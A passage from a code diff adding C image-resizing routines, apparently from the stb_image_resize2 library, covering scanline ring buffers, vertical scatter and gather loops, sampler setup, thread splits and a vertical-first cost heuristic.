+    while (in_last_scanline > split_info->ring_buffer_last_scanline)
+    {
+      STBIR_ASSERT( ( split_info->ring_buffer_last_scanline - split_info->ring_buffer_first_scanline + 1 ) <= stbir_info->ring_buffer_num_entries );
+
+      // make sure there was room in the ring buffer when we add new scanlines
+      if ( ( split_info->ring_buffer_last_scanline - split_info->ring_buffer_first_scanline + 1 ) == stbir_info->ring_buffer_num_entries )
+      {
+        split_info->ring_buffer_first_scanline++;
+        split_info->ring_buffer_begin_index++;
+      }
+
+      if ( stbir_info->vertical_first )
+      {
+        float * ring_buffer = stbir__get_ring_buffer_scanline( stbir_info, split_info, ++split_info->ring_buffer_last_scanline );
+        // Decode the nth scanline from the source image into the decode buffer.
+        stbir__decode_scanline( stbir_info, split_info->ring_buffer_last_scanline, ring_buffer  STBIR_ONLY_PROFILE_SET_SPLIT_INFO );
+      }
+      else
+      {
+        stbir__decode_and_resample_for_vertical_gather_loop(stbir_info, split_info, split_info->ring_buffer_last_scanline + 1);
+      }
+    }
+
+    // Now all buffers should be ready to write a row of vertical sampling, so do it.
+    stbir__resample_vertical_gather(stbir_info, split_info, y, in_first_scanline, in_last_scanline, vertical_coefficients );
+
+    ++vertical_contributors;
+    vertical_coefficients += stbir_info->vertical.coefficient_width;
+  }
+}
+
+#define STBIR__FLOAT_EMPTY_MARKER 3.0e+38F
+#define STBIR__FLOAT_BUFFER_IS_EMPTY(ptr) ((ptr)[0]==STBIR__FLOAT_EMPTY_MARKER)
+
+static void stbir__encode_first_scanline_from_scatter(stbir__info const * stbir_info, stbir__per_split_info* split_info)
+{
+  // evict a scanline out into the output buffer
+  float* ring_buffer_entry = stbir__get_ring_buffer_entry(stbir_info, split_info, split_info->ring_buffer_begin_index );
+
+  // dump the scanline out
+  stbir__encode_scanline( stbir_info, ( (char *)stbir_info->output_data ) + ( (size_t)split_info->ring_buffer_first_scanline * (size_t)stbir_info->output_stride_bytes ), ring_buffer_entry, split_info->ring_buffer_first_scanline  STBIR_ONLY_PROFILE_SET_SPLIT_INFO );
+
+  // mark it as empty
+  ring_buffer_entry[ 0 ] = STBIR__FLOAT_EMPTY_MARKER;
+
+  // advance the first scanline
+  split_info->ring_buffer_first_scanline++;
+  if ( ++split_info->ring_buffer_begin_index == stbir_info->ring_buffer_num_entries )
+    split_info->ring_buffer_begin_index = 0;
+}
+
+static void stbir__horizontal_resample_and_encode_first_scanline_from_scatter(stbir__info const * stbir_info, stbir__per_split_info* split_info)
+{
+  // evict a scanline out into the output buffer
+
+  float* ring_buffer_entry = stbir__get_ring_buffer_entry(stbir_info, split_info, split_info->ring_buffer_begin_index );
+
+  // Now resample it into the buffer.
+  stbir__resample_horizontal_gather( stbir_info, split_info->vertical_buffer, ring_buffer_entry  STBIR_ONLY_PROFILE_SET_SPLIT_INFO );
+
+  // dump the scanline out
+  stbir__encode_scanline( stbir_info, ( (char *)stbir_info->output_data ) + ( (size_t)split_info->ring_buffer_first_scanline * (size_t)stbir_info->output_stride_bytes ), split_info->vertical_buffer, split_info->ring_buffer_first_scanline  STBIR_ONLY_PROFILE_SET_SPLIT_INFO );
+
+  // mark it as empty
+  ring_buffer_entry[ 0 ] = STBIR__FLOAT_EMPTY_MARKER;
+
+  // advance the first scanline
+  split_info->ring_buffer_first_scanline++;
+  if ( ++split_info->ring_buffer_begin_index == stbir_info->ring_buffer_num_entries )
+    split_info->ring_buffer_begin_index = 0;
+}
+
+static void stbir__resample_vertical_scatter(stbir__info const * stbir_info, stbir__per_split_info* split_info, int n0, int n1, float const * vertical_coefficients, float const * vertical_buffer, float const * vertical_buffer_end )
+{
+  STBIR_ASSERT( !stbir_info->vertical.is_gather );
+
+  STBIR_PROFILE_START( vertical );
+  {
+    int k = 0, total = n1 - n0 + 1;
+    STBIR_ASSERT( total > 0 );
+    do {
+      float * outputs[8];
+      int i, n = total; if ( n > 8 ) n = 8;
+      for( i = 0 ; i < n ; i++ )
+      {
+        outputs[ i ] = stbir__get_ring_buffer_scanline(stbir_info, split_info, k+i+n0 );
+        if ( ( i ) && ( STBIR__FLOAT_BUFFER_IS_EMPTY( outputs[i] ) != STBIR__FLOAT_BUFFER_IS_EMPTY( outputs[0] ) ) ) // make sure runs are of the same type
+        {
+          n = i;
+          break;
+        }
+      }
+      // call the scatter to N scanlines at a time function (up to 8 scanlines of scattering at once)
+      ((STBIR__FLOAT_BUFFER_IS_EMPTY( outputs[0] ))?stbir__vertical_scatter_sets:stbir__vertical_scatter_blends)[n-1]( outputs, vertical_coefficients + k, vertical_buffer, vertical_buffer_end );
+      k += n;
+      total -= n;
+    } while ( total );
+  }
+
+  STBIR_PROFILE_END( vertical );
+}
+
+typedef void stbir__handle_scanline_for_scatter_func(stbir__info const * stbir_info, stbir__per_split_info* split_info);
+
+static void stbir__vertical_scatter_loop( stbir__info const * stbir_info, stbir__per_split_info* split_info, int split_count )
+{
+  int y, start_output_y, end_output_y, start_input_y, end_input_y;
+  stbir__contributors* vertical_contributors = stbir_info->vertical.contributors;
+  float const * vertical_coefficients = stbir_info->vertical.coefficients;
+  stbir__handle_scanline_for_scatter_func * handle_scanline_for_scatter;
+  void * scanline_scatter_buffer;
+  void * scanline_scatter_buffer_end;
+  int on_first_input_y, last_input_y;
+  int width = (stbir_info->vertical_first) ? ( stbir_info->scanline_extents.conservative.n1-stbir_info->scanline_extents.conservative.n0+1 ) : stbir_info->horizontal.scale_info.output_sub_size;
+  int width_times_channels = stbir_info->effective_channels * width;
+
+  STBIR_ASSERT( !stbir_info->vertical.is_gather );
+
+  start_output_y = split_info->start_output_y;
+  end_output_y = split_info[split_count-1].end_output_y;  // may do multiple split counts
+
+  start_input_y = split_info->start_input_y;
+  end_input_y = split_info[split_count-1].end_input_y;
+
+  // adjust for starting offset start_input_y
+  y = start_input_y + stbir_info->vertical.filter_pixel_margin;
+  vertical_contributors += y ;
+  vertical_coefficients += stbir_info->vertical.coefficient_width * y;
+
+  if ( stbir_info->vertical_first )
+  {
+    handle_scanline_for_scatter = stbir__horizontal_resample_and_encode_first_scanline_from_scatter;
+    scanline_scatter_buffer = split_info->decode_buffer;
+    scanline_scatter_buffer_end = ( (char*) scanline_scatter_buffer ) + sizeof( float ) * stbir_info->effective_channels * (stbir_info->scanline_extents.conservative.n1-stbir_info->scanline_extents.conservative.n0+1);
+  }
+  else
+  {
+    handle_scanline_for_scatter = stbir__encode_first_scanline_from_scatter;
+    scanline_scatter_buffer = split_info->vertical_buffer;
+    scanline_scatter_buffer_end = ( (char*) scanline_scatter_buffer ) + sizeof( float ) * stbir_info->effective_channels * stbir_info->horizontal.scale_info.output_sub_size;
+  }
+
+  // initialize the ring buffer for scattering
+  split_info->ring_buffer_first_scanline = start_output_y;
+  split_info->ring_buffer_last_scanline = -1;
+  split_info->ring_buffer_begin_index = -1;
+
+  // mark all the buffers as empty to start
+  for( y = 0 ; y < stbir_info->ring_buffer_num_entries ; y++ )
+  {
+    float * decode_buffer = stbir__get_ring_buffer_entry( stbir_info, split_info, y );
+    decode_buffer[ width_times_channels ] = 0.0f; // clear two over for horizontals with a remnant of 3
+    decode_buffer[ width_times_channels+1 ] = 0.0f; 
+    decode_buffer[0] = STBIR__FLOAT_EMPTY_MARKER; // only used on scatter
+  }
+
+  // do the loop in input space
+  on_first_input_y = 1; last_input_y = start_input_y;
+  for (y = start_input_y ; y < end_input_y; y++)
+  {
+    int out_first_scanline, out_last_scanline;
+
+    out_first_scanline = vertical_contributors->n0;
+    out_last_scanline = vertical_contributors->n1;
+
+    STBIR_ASSERT(out_last_scanline - out_first_scanline + 1 <= stbir_info->ring_buffer_num_entries);
+
+    if ( ( out_last_scanline >= out_first_scanline ) && ( ( ( out_first_scanline >= start_output_y ) && ( out_first_scanline < end_output_y ) ) || ( ( out_last_scanline >= start_output_y ) && ( out_last_scanline < end_output_y ) ) ) )
+    {
+      float const * vc = vertical_coefficients;
+
+      // keep track of the range actually seen for the next resize
+      last_input_y = y;
+      if ( ( on_first_input_y ) && ( y > start_input_y ) )
+        split_info->start_input_y = y;
+      on_first_input_y = 0;
+
+      // clip the region
+      if ( out_first_scanline < start_output_y )
+      {
+        vc += start_output_y - out_first_scanline;
+        out_first_scanline = start_output_y;
+      }
+
+      if ( out_last_scanline >= end_output_y )
+        out_last_scanline = end_output_y - 1;
+
+      // if very first scanline, init the index
+      if (split_info->ring_buffer_begin_index < 0)
+        split_info->ring_buffer_begin_index = out_first_scanline - start_output_y;
+
+      STBIR_ASSERT( split_info->ring_buffer_begin_index <= out_first_scanline );
+
+      // Decode the nth scanline from the source image into the decode buffer.
+      stbir__decode_scanline( stbir_info, y, split_info->decode_buffer  STBIR_ONLY_PROFILE_SET_SPLIT_INFO );
+
+      // When horizontal first, we resample horizontally into the vertical buffer before we scatter it out
+      if ( !stbir_info->vertical_first )
+        stbir__resample_horizontal_gather( stbir_info, split_info->vertical_buffer, split_info->decode_buffer  STBIR_ONLY_PROFILE_SET_SPLIT_INFO );
+
+      // Now it's sitting in the buffer ready to be distributed into the ring buffers.
+
+      // evict from the ringbuffer, if we need are full
+      if ( ( ( split_info->ring_buffer_last_scanline - split_info->ring_buffer_first_scanline + 1 ) == stbir_info->ring_buffer_num_entries ) &&
+           ( out_last_scanline > split_info->ring_buffer_last_scanline ) )
+        handle_scanline_for_scatter( stbir_info, split_info );
+
+      // Now the horizontal buffer is ready to write to all ring buffer rows, so do it.
+      stbir__resample_vertical_scatter(stbir_info, split_info, out_first_scanline, out_last_scanline, vc, (float*)scanline_scatter_buffer, (float*)scanline_scatter_buffer_end );
+
+      // update the end of the buffer
+      if ( out_last_scanline > split_info->ring_buffer_last_scanline )
+        split_info->ring_buffer_last_scanline = out_last_scanline;
+    }
+    ++vertical_contributors;
+    vertical_coefficients += stbir_info->vertical.coefficient_width;
+  }
+
+  // now evict the scanlines that are left over in the ring buffer
+  while ( split_info->ring_buffer_first_scanline < end_output_y )
+    handle_scanline_for_scatter(stbir_info, split_info);
+
+  // update the end_input_y if we do multiple resizes with the same data
+  ++last_input_y;
+  for( y = 0 ; y < split_count; y++ )
+    if ( split_info[y].end_input_y > last_input_y )
+      split_info[y].end_input_y = last_input_y;
+}
+
+
+static stbir__kernel_callback * stbir__builtin_kernels[] =   { 0, stbir__filter_trapezoid,  stbir__filter_triangle, stbir__filter_cubic, stbir__filter_catmullrom, stbir__filter_mitchell, stbir__filter_point };
+static stbir__support_callback * stbir__builtin_supports[] = { 0, stbir__support_trapezoid, stbir__support_one,     stbir__support_two,  stbir__support_two,       stbir__support_two,     stbir__support_zeropoint5 };
+
+static void stbir__set_sampler(stbir__sampler * samp, stbir_filter filter, stbir__kernel_callback * kernel, stbir__support_callback * support, stbir_edge edge, stbir__scale_info * scale_info, int always_gather, void * user_data )
+{
+  // set filter
+  if (filter == 0)
+  {
+    filter = STBIR_DEFAULT_FILTER_DOWNSAMPLE; // default to downsample
+    if (scale_info->scale >= ( 1.0f - stbir__small_float ) )
+    {
+      if ( (scale_info->scale <= ( 1.0f + stbir__small_float ) ) && ( STBIR_CEILF(scale_info->pixel_shift) == scale_info->pixel_shift ) )
+        filter = STBIR_FILTER_POINT_SAMPLE;
+      else
+        filter = STBIR_DEFAULT_FILTER_UPSAMPLE;
+    }
+  }
+  samp->filter_enum = filter;
+
+  STBIR_ASSERT(samp->filter_enum != 0);
+  STBIR_ASSERT((unsigned)samp->filter_enum < STBIR_FILTER_OTHER);
+  samp->filter_kernel = stbir__builtin_kernels[ filter ];
+  samp->filter_support = stbir__builtin_supports[ filter ];
+
+  if ( kernel && support )
+  {
+    samp->filter_kernel = kernel;
+    samp->filter_support = support;
+    samp->filter_enum = STBIR_FILTER_OTHER;
+  }
+
+  samp->edge = edge;
+  samp->filter_pixel_width  = stbir__get_filter_pixel_width (samp->filter_support, scale_info->scale, user_data );
+  // Gather is always better, but in extreme downsamples, you have to most or all of the data in memory
+  //    For horizontal, we always have all the pixels, so we always use gather here (always_gather==1).
+  //    For vertical, we use gather if scaling up (which means we will have samp->filter_pixel_width
+  //    scanlines in memory at once).
+  samp->is_gather = 0;
+  if ( scale_info->scale >= ( 1.0f - stbir__small_float ) )
+    samp->is_gather = 1;
+  else if ( ( always_gather ) || ( samp->filter_pixel_width <= STBIR_FORCE_GATHER_FILTER_SCANLINES_AMOUNT ) )
+    samp->is_gather = 2;
+
+  // pre calculate stuff based on the above
+  samp->coefficient_width = stbir__get_coefficient_width(samp, samp->is_gather, user_data);
+
+  // filter_pixel_width is the conservative size in pixels of input that affect an output pixel.
+  //   In rare cases (only with 2 pix to 1 pix with the default filters), it's possible that the 
+  //   filter will extend before or after the scanline beyond just one extra entire copy of the 
+  //   scanline (we would hit the edge twice). We don't let you do that, so we clamp the total 
+  //   width to 3x the total of input pixel (once for the scanline, once for the left side 
+  //   overhang, and once for the right side). We only do this for edge mode, since the other 
+  //   modes can just re-edge clamp back in again.
+  if ( edge == STBIR_EDGE_WRAP )
+    if ( samp->filter_pixel_width > ( scale_info->input_full_size * 3 ) )
+      samp->filter_pixel_width = scale_info->input_full_size * 3;
+
+  // This is how much to expand buffers to account for filters seeking outside
+  // the image boundaries.
+  samp->filter_pixel_margin = samp->filter_pixel_width / 2;
+  
+  // filter_pixel_margin is the amount that this filter can overhang on just one side of either 
+  //   end of the scanline (left or the right). Since we only allow you to overhang 1 scanline's 
+  //   worth of pixels, we clamp this one side of overhang to the input scanline size. Again, 
+  //   this clamping only happens in rare cases with the default filters (2 pix to 1 pix). 
+  if ( edge == STBIR_EDGE_WRAP )
+    if ( samp->filter_pixel_margin > scale_info->input_full_size )
+      samp->filter_pixel_margin = scale_info->input_full_size;
+
+  samp->num_contributors = stbir__get_contributors(samp, samp->is_gather);
+
+  samp->contributors_size = samp->num_contributors * sizeof(stbir__contributors);
+  samp->coefficients_size = samp->num_contributors * samp->coefficient_width * sizeof(float) + sizeof(float)*STBIR_INPUT_CALLBACK_PADDING; // extra sizeof(float) is padding
+
+  samp->gather_prescatter_contributors = 0;
+  samp->gather_prescatter_coefficients = 0;
+  if ( samp->is_gather == 0 )
+  {
+    samp->gather_prescatter_coefficient_width = samp->filter_pixel_width;
+    samp->gather_prescatter_num_contributors  = stbir__get_contributors(samp, 2);
+    samp->gather_prescatter_contributors_size = samp->gather_prescatter_num_contributors * sizeof(stbir__contributors);
+    samp->gather_prescatter_coefficients_size = samp->gather_prescatter_num_contributors * samp->gather_prescatter_coefficient_width * sizeof(float);
+  }
+}
+
+static void stbir__get_conservative_extents( stbir__sampler * samp, stbir__contributors * range, void * user_data )
+{
+  float scale = samp->scale_info.scale;
+  float out_shift = samp->scale_info.pixel_shift;
+  stbir__support_callback * support = samp->filter_support;
+  int input_full_size = samp->scale_info.input_full_size;
+  stbir_edge edge = samp->edge;
+  float inv_scale = samp->scale_info.inv_scale;
+
+  STBIR_ASSERT( samp->is_gather != 0 );
+
+  if ( samp->is_gather == 1 )
+  {
+    int in_first_pixel, in_last_pixel;
+    float out_filter_radius = support(inv_scale, user_data) * scale;
+
+    stbir__calculate_in_pixel_range( &in_first_pixel, &in_last_pixel, 0.5, out_filter_radius, inv_scale, out_shift, input_full_size, edge );
+    range->n0 = in_first_pixel;
+    stbir__calculate_in_pixel_range( &in_first_pixel, &in_last_pixel, ( (float)(samp->scale_info.output_sub_size-1) ) + 0.5f, out_filter_radius, inv_scale, out_shift, input_full_size, edge );
+    range->n1 = in_last_pixel;
+  }
+  else if ( samp->is_gather == 2 ) // downsample gather, refine
+  {
+    float in_pixels_radius = support(scale, user_data) * inv_scale;
+    int filter_pixel_margin = samp->filter_pixel_margin;
+    int output_sub_size = samp->scale_info.output_sub_size;
+    int input_end;
+    int n;
+    int in_first_pixel, in_last_pixel;
+
+    // get a conservative area of the input range
+    stbir__calculate_in_pixel_range( &in_first_pixel, &in_last_pixel, 0, 0, inv_scale, out_shift, input_full_size, edge );
+    range->n0 = in_first_pixel;
+    stbir__calculate_in_pixel_range( &in_first_pixel, &in_last_pixel, (float)output_sub_size, 0, inv_scale, out_shift, input_full_size, edge );
+    range->n1 = in_last_pixel;
+
+    // now go through the margin to the start of area to find bottom
+    n = range->n0 + 1;
+    input_end = -filter_pixel_margin;
+    while( n >= input_end )
+    {
+      int out_first_pixel, out_last_pixel;
+      stbir__calculate_out_pixel_range( &out_first_pixel, &out_last_pixel, ((float)n)+0.5f, in_pixels_radius, scale, out_shift, output_sub_size );
+      if ( out_first_pixel > out_last_pixel )
+        break;
+
+      if ( ( out_first_pixel < output_sub_size ) || ( out_last_pixel >= 0 ) )
+        range->n0 = n;
+      --n;
+    }
+
+    // now go through the end of the area through the margin to find top
+    n = range->n1 - 1;
+    input_end = n + 1 + filter_pixel_margin;
+    while( n <= input_end )
+    {
+      int out_first_pixel, out_last_pixel;
+      stbir__calculate_out_pixel_range( &out_first_pixel, &out_last_pixel, ((float)n)+0.5f, in_pixels_radius, scale, out_shift, output_sub_size );
+      if ( out_first_pixel > out_last_pixel )
+        break;
+      if ( ( out_first_pixel < output_sub_size ) || ( out_last_pixel >= 0 ) )
+        range->n1 = n;
+      ++n;
+    }
+  }
+
+  if ( samp->edge == STBIR_EDGE_WRAP )
+  {
+    // if we are wrapping, and we are very close to the image size (so the edges might merge), just use the scanline up to the edge
+    if ( ( range->n0 > 0 ) && ( range->n1 >= input_full_size ) )
+    {
+      int marg = range->n1 - input_full_size + 1;
+      if ( ( marg + STBIR__MERGE_RUNS_PIXEL_THRESHOLD ) >= range->n0 )
+        range->n0 = 0;
+    }
+    if ( ( range->n0 < 0 ) && ( range->n1 < (input_full_size-1) ) )
+    {
+      int marg = -range->n0;
+      if ( ( input_full_size - marg - STBIR__MERGE_RUNS_PIXEL_THRESHOLD - 1 ) <= range->n1 )
+        range->n1 = input_full_size - 1;
+    }
+  }
+  else
+  {
+    // for non-edge-wrap modes, we never read over the edge, so clamp
+    if ( range->n0 < 0 )
+      range->n0 = 0;
+    if ( range->n1 >= input_full_size )
+      range->n1 = input_full_size - 1;
+  }
+}
+
+static void stbir__get_split_info( stbir__per_split_info* split_info, int splits, int output_height, int vertical_pixel_margin, int input_full_height, int is_gather, stbir__contributors * contribs )
+{
+  int i, cur;
+  int left = output_height;
+
+  cur = 0;
+  for( i = 0 ; i < splits ; i++ )
+  {
+    int each;
+
+    split_info[i].start_output_y = cur;
+    each = left / ( splits - i );
+    split_info[i].end_output_y = cur + each;
+
+    // ok, when we are gathering, we need to make sure we are starting on a y offset that doesn't have
+    //   a "special" set of coefficients. Basically, with exactly the right filter at exactly the right
+    //   resize at exactly the right phase, some of the coefficents can be zero. When they are zero, we
+    //   don't process them at all.  But this leads to a tricky thing with the thread splits, where we
+    //   might have a set of two coeffs like this for example: (4,4) and (3,6).  The 4,4 means there was
+    //   just one single coeff because things worked out perfectly (normally, they all have 4 coeffs
+    //   like the range 3,6.  The problem is that if we start right on the (4,4) on a brand new thread,
+    //   then when we get to (3,6), we don't have the "3" sample in memory (because we didn't load
+    //   it on the initial (4,4) range because it didn't have a 3 (we only add new samples that are 
+    //   larger than our existing samples - it's just how the eviction works). So, our solution here
+    //   is pretty simple, if we start right on a range that has samples that start earlier, then we 
+    //   simply bump up our previous thread split range to include it, and then start this threads
+    //   range with the smaller sample. It just moves one scanline from one thread split to another,
+    //   so that we end with the unusual one, instead of start with it. To do this, we check 2-4 
+    //   sample at each thread split start and then occassionally move them.
+    
+    if ( ( is_gather ) && ( i ) )
+    {
+      stbir__contributors * small_contribs;
+      int j, smallest, stop, start_n0;
+      stbir__contributors * split_contribs = contribs + cur;
+
+      // scan for a max of 3x the filter width or until the next thread split
+      stop = vertical_pixel_margin * 3;
+      if ( each < stop )
+        stop = each;
+
+      // loops a few times before early out
+      smallest = 0;
+      small_contribs = split_contribs;
+      start_n0 = small_contribs->n0;
+      for( j = 1 ; j <= stop ; j++ )
+      {
+        ++split_contribs;
+        if ( split_contribs->n0 > start_n0 )
+          break;
+        if ( split_contribs->n0 < small_contribs->n0 )
+        {
+          small_contribs = split_contribs;
+          smallest = j;
+        }
+      }
+
+      split_info[i-1].end_output_y += smallest;
+      split_info[i].start_output_y += smallest;
+    }
+
+    cur += each;
+    left -= each;
+
+    // scatter range (updated to minimum as you run it)
+    split_info[i].start_input_y = -vertical_pixel_margin;
+    split_info[i].end_input_y = input_full_height + vertical_pixel_margin;
+  }
+}
+
+static void stbir__free_internal_mem( stbir__info *info )
+{
+  #define STBIR__FREE_AND_CLEAR( ptr ) { if ( ptr ) { void * p = (ptr); (ptr) = 0; STBIR_FREE( p, info->user_data); } }
+
+  if ( info )
+  {
+  #ifndef STBIR__SEPARATE_ALLOCATIONS
+    STBIR__FREE_AND_CLEAR( info->alloced_mem );
+  #else
+    int i,j;
+
+    if ( ( info->vertical.gather_prescatter_contributors ) && ( (void*)info->vertical.gather_prescatter_contributors != (void*)info->split_info[0].decode_buffer ) )
+    {
+      STBIR__FREE_AND_CLEAR( info->vertical.gather_prescatter_coefficients );
+      STBIR__FREE_AND_CLEAR( info->vertical.gather_prescatter_contributors );
+    }
+    for( i = 0 ; i < info->splits ; i++ )
+    {
+      for( j = 0 ; j < info->alloc_ring_buffer_num_entries ; j++ )
+      {
+        #ifdef STBIR_SIMD8
+        if ( info->effective_channels == 3 )
+          --info->split_info[i].ring_buffers[j]; // avx in 3 channel mode needs one float at the start of the buffer
+        #endif
+        STBIR__FREE_AND_CLEAR( info->split_info[i].ring_buffers[j] );
+      }
+
+      #ifdef STBIR_SIMD8
+      if ( info->effective_channels == 3 )
+        --info->split_info[i].decode_buffer; // avx in 3 channel mode needs one float at the start of the buffer
+      #endif
+      STBIR__FREE_AND_CLEAR( info->split_info[i].decode_buffer );
+      STBIR__FREE_AND_CLEAR( info->split_info[i].ring_buffers );
+      STBIR__FREE_AND_CLEAR( info->split_info[i].vertical_buffer );
+    }
+    STBIR__FREE_AND_CLEAR( info->split_info );
+    if ( info->vertical.coefficients != info->horizontal.coefficients )
+    {
+      STBIR__FREE_AND_CLEAR( info->vertical.coefficients );
+      STBIR__FREE_AND_CLEAR( info->vertical.contributors );
+    }
+    STBIR__FREE_AND_CLEAR( info->horizontal.coefficients );
+    STBIR__FREE_AND_CLEAR( info->horizontal.contributors );
+    STBIR__FREE_AND_CLEAR( info->alloced_mem );
+    STBIR_FREE( info, info->user_data );
+  #endif
+  }
+
+  #undef STBIR__FREE_AND_CLEAR
+}
+
+static int stbir__get_max_split( int splits, int height )
+{
+  int i;
+  int max = 0;
+
+  for( i = 0 ; i < splits ; i++ )
+  {
+    int each = height / ( splits - i );
+    if ( each > max )
+      max = each;
+    height -= each;
+  }
+  return max;
+}
+
+static stbir__horizontal_gather_channels_func ** stbir__horizontal_gather_n_coeffs_funcs[8] =
+{
+  0, stbir__horizontal_gather_1_channels_with_n_coeffs_funcs, stbir__horizontal_gather_2_channels_with_n_coeffs_funcs, stbir__horizontal_gather_3_channels_with_n_coeffs_funcs, stbir__horizontal_gather_4_channels_with_n_coeffs_funcs, 0,0, stbir__horizontal_gather_7_channels_with_n_coeffs_funcs
+};
+
+static stbir__horizontal_gather_channels_func ** stbir__horizontal_gather_channels_funcs[8] =
+{
+  0, stbir__horizontal_gather_1_channels_funcs, stbir__horizontal_gather_2_channels_funcs, stbir__horizontal_gather_3_channels_funcs, stbir__horizontal_gather_4_channels_funcs, 0,0, stbir__horizontal_gather_7_channels_funcs
+};
+
+// there are six resize classifications: 0 == vertical scatter, 1 == vertical gather < 1x scale, 2 == vertical gather 1x-2x scale, 4 == vertical gather < 3x scale, 4 == vertical gather > 3x scale, 5 == <=4 pixel height, 6 == <=4 pixel wide column
+#define STBIR_RESIZE_CLASSIFICATIONS 8
+
+static float stbir__compute_weights[5][STBIR_RESIZE_CLASSIFICATIONS][4]=  // 5 = 0=1chan, 1=2chan, 2=3chan, 3=4chan, 4=7chan
+{
+  {
+    { 1.00000f, 1.00000f, 0.31250f, 1.00000f },
+    { 0.56250f, 0.59375f, 0.00000f, 0.96875f },
+    { 1.00000f, 0.06250f, 0.00000f, 1.00000f },
+    { 0.00000f, 0.09375f, 1.00000f, 1.00000f },
+    { 1.00000f, 1.00000f, 1.00000f, 1.00000f },
+    { 0.03125f, 0.12500f, 1.00000f, 1.00000f },
+    { 0.06250f, 0.12500f, 0.00000f, 1.00000f },
+    { 0.00000f, 1.00000f, 0.00000f, 0.03125f },
+  }, {
+    { 0.00000f, 0.84375f, 0.00000f, 0.03125f },
+    { 0.09375f, 0.93750f, 0.00000f, 0.78125f },
+    { 0.87500f, 0.21875f, 0.00000f, 0.96875f },
+    { 0.09375f, 0.09375f, 1.00000f, 1.00000f },
+    { 1.00000f, 1.00000f, 1.00000f, 1.00000f },
+    { 0.03125f, 0.12500f, 1.00000f, 1.00000f },
+    { 0.06250f, 0.12500f, 0.00000f, 1.00000f },
+    { 0.00000f, 1.00000f, 0.00000f, 0.53125f },
+  }, {
+    { 0.00000f, 0.53125f, 0.00000f, 0.03125f },
+    { 0.06250f, 0.96875f, 0.00000f, 0.53125f },
+    { 0.87500f, 0.18750f, 0.00000f, 0.93750f },
+    { 0.00000f, 0.09375f, 1.00000f, 1.00000f },
+    { 1.00000f, 1.00000f, 1.00000f, 1.00000f },
+    { 0.03125f, 0.12500f, 1.00000f, 1.00000f },
+    { 0.06250f, 0.12500f, 0.00000f, 1.00000f },
+    { 0.00000f, 1.00000f, 0.00000f, 0.56250f },
+  }, {
+    { 0.00000f, 0.50000f, 0.00000f, 0.71875f },
+    { 0.06250f, 0.84375f, 0.00000f, 0.87500f },
+    { 1.00000f, 0.50000f, 0.50000f, 0.96875f },
+    { 1.00000f, 0.09375f, 0.31250f, 0.50000f },
+    { 1.00000f, 1.00000f, 1.00000f, 1.00000f },
+    { 1.00000f, 0.03125f, 0.03125f, 0.53125f },
+    { 0.18750f, 0.12500f, 0.00000f, 1.00000f },
+    { 0.00000f, 1.00000f, 0.03125f, 0.18750f },
+  }, {
+    { 0.00000f, 0.59375f, 0.00000f, 0.96875f },
+    { 0.06250f, 0.81250f, 0.06250f, 0.59375f },
+    { 0.75000f, 0.43750f, 0.12500f, 0.96875f },
+    { 0.87500f, 0.06250f, 0.18750f, 0.43750f },
+    { 1.00000f, 1.00000f, 1.00000f, 1.00000f },
+    { 0.15625f, 0.12500f, 1.00000f, 1.00000f },
+    { 0.06250f, 0.12500f, 0.00000f, 1.00000f },
+    { 0.00000f, 1.00000f, 0.03125f, 0.34375f },
+  }
+};
+
+// structure that allow us to query and override info for training the costs
+typedef struct STBIR__V_FIRST_INFO
+{
+  double v_cost, h_cost;
+  int control_v_first; // 0 = no control, 1 = force hori, 2 = force vert
+  int v_first;
+  int v_resize_classification;
+  int is_gather;
+} STBIR__V_FIRST_INFO;
+
+#ifdef STBIR__V_FIRST_INFO_BUFFER
+static STBIR__V_FIRST_INFO STBIR__V_FIRST_INFO_BUFFER = {0};
+#define STBIR__V_FIRST_INFO_POINTER &STBIR__V_FIRST_INFO_BUFFER
+#else
+#define STBIR__V_FIRST_INFO_POINTER 0
+#endif
+
+// Figure out whether to scale along the horizontal or vertical first.
+//   This only *super* important when you are scaling by a massively
+//   different amount in the vertical vs the horizontal (for example, if
+//   you are scaling by 2x in the width, and 0.5x in the height, then you
+//   want to do the vertical scale first, because it's around 3x faster
+//   in that order.
+//
+//   In more normal circumstances, this makes a 20-40% differences, so
+//     it's good to get right, but not critical. The normal way that you
+//     decide which direction goes first is just figuring out which
+//     direction does more multiplies. But with modern CPUs with their
+//     fancy caches and SIMD and high IPC abilities, so there's just a lot
+//     more that goes into it.
+//
+//   My handwavy sort of solution is to have an app that does a whole
+//     bunch of timing for both vertical and horizontal first modes,
+//     and then another app that can read lots of these timing files
+//     and try to search for the best weights to use. Dotimings.c
+//     is the app that does a bunch of timings, and vf_train.c is the
+//     app that solves for the best weights (and shows how well it
+//     does currently).
+
+static int stbir__should_do_vertical_first( float weights_table[STBIR_RESIZE_CLASSIFICATIONS][4], int horizontal_filter_pixel_width, float horizontal_scale, int horizontal_output_size, int vertical_filter_pixel_width, float vertical_scale, int vertical_output_size, int is_gather, STBIR__V_FIRST_INFO * info )
+{
+  double v_cost, h_cost;
+  float * weights;
+  int vertical_first;
+  int v_classification;
+
+  // categorize the resize into buckets
+  if ( ( vertical_output_size <= 4 ) || ( horizontal_output_size <= 4 ) )
+    v_classification = ( vertical_output_size < horizontal_output_size ) ? 6 : 7;
+  else if ( vertical_scale <= 1.0f )
+    v_classification = ( is_gather ) ? 1 : 0;
+  else if ( vertical_scale <= 2.0f)
+    v_classification = 2;
+  else if ( vertical_scale <= 3.0f)
+    v_classification = 3;
+  else if ( vertical_scale <= 4.0f)
+    v_classification = 5;
+  else
+    v_classification = 6;
+
+  // use the right weights
+  weights = weights_table[ v_classification ];
+
+  // this is the costs when you don't take into account modern CPUs with high ipc and simd and caches - wish we had a better estimate
+  h_cost = (float)horizontal_filter_pixel_width * weights[0] + horizontal_scale * (float)vertical_filter_pixel_width * weights[1];
+  v_cost = (float)vertical_filter_pixel_width  * weights[2] + vertical_scale * (float)horizontal_filter_pixel_width * weights[3];
+
+  // use computation estimate to decide vertical first or not
+  vertical_first = ( v_cost <= h_cost ) ? 1 : 0;
+
+  // save these, if requested
+  if ( info )
+  {
+    info->h_cost = h_cost;
+    info->v_cost = v_cost;
+    info->v_resize_classification = v_classification;
+    info->v_first = vertical_first;
+    info->is_gather = is_gather;
+  }
+
+  // and this allows us to override everything for testing (see dotiming.c)
+  if ( ( info ) && ( info->control_v_first ) )
+    vertical_first = ( info->control_v_first == 2 ) ? 1 : 0;
+
+  return vertical_first;
+}
+
+// layout lookups - must match stbir_internal_pixel_layout
+static unsigned char stbir__pixel_channels[] = {
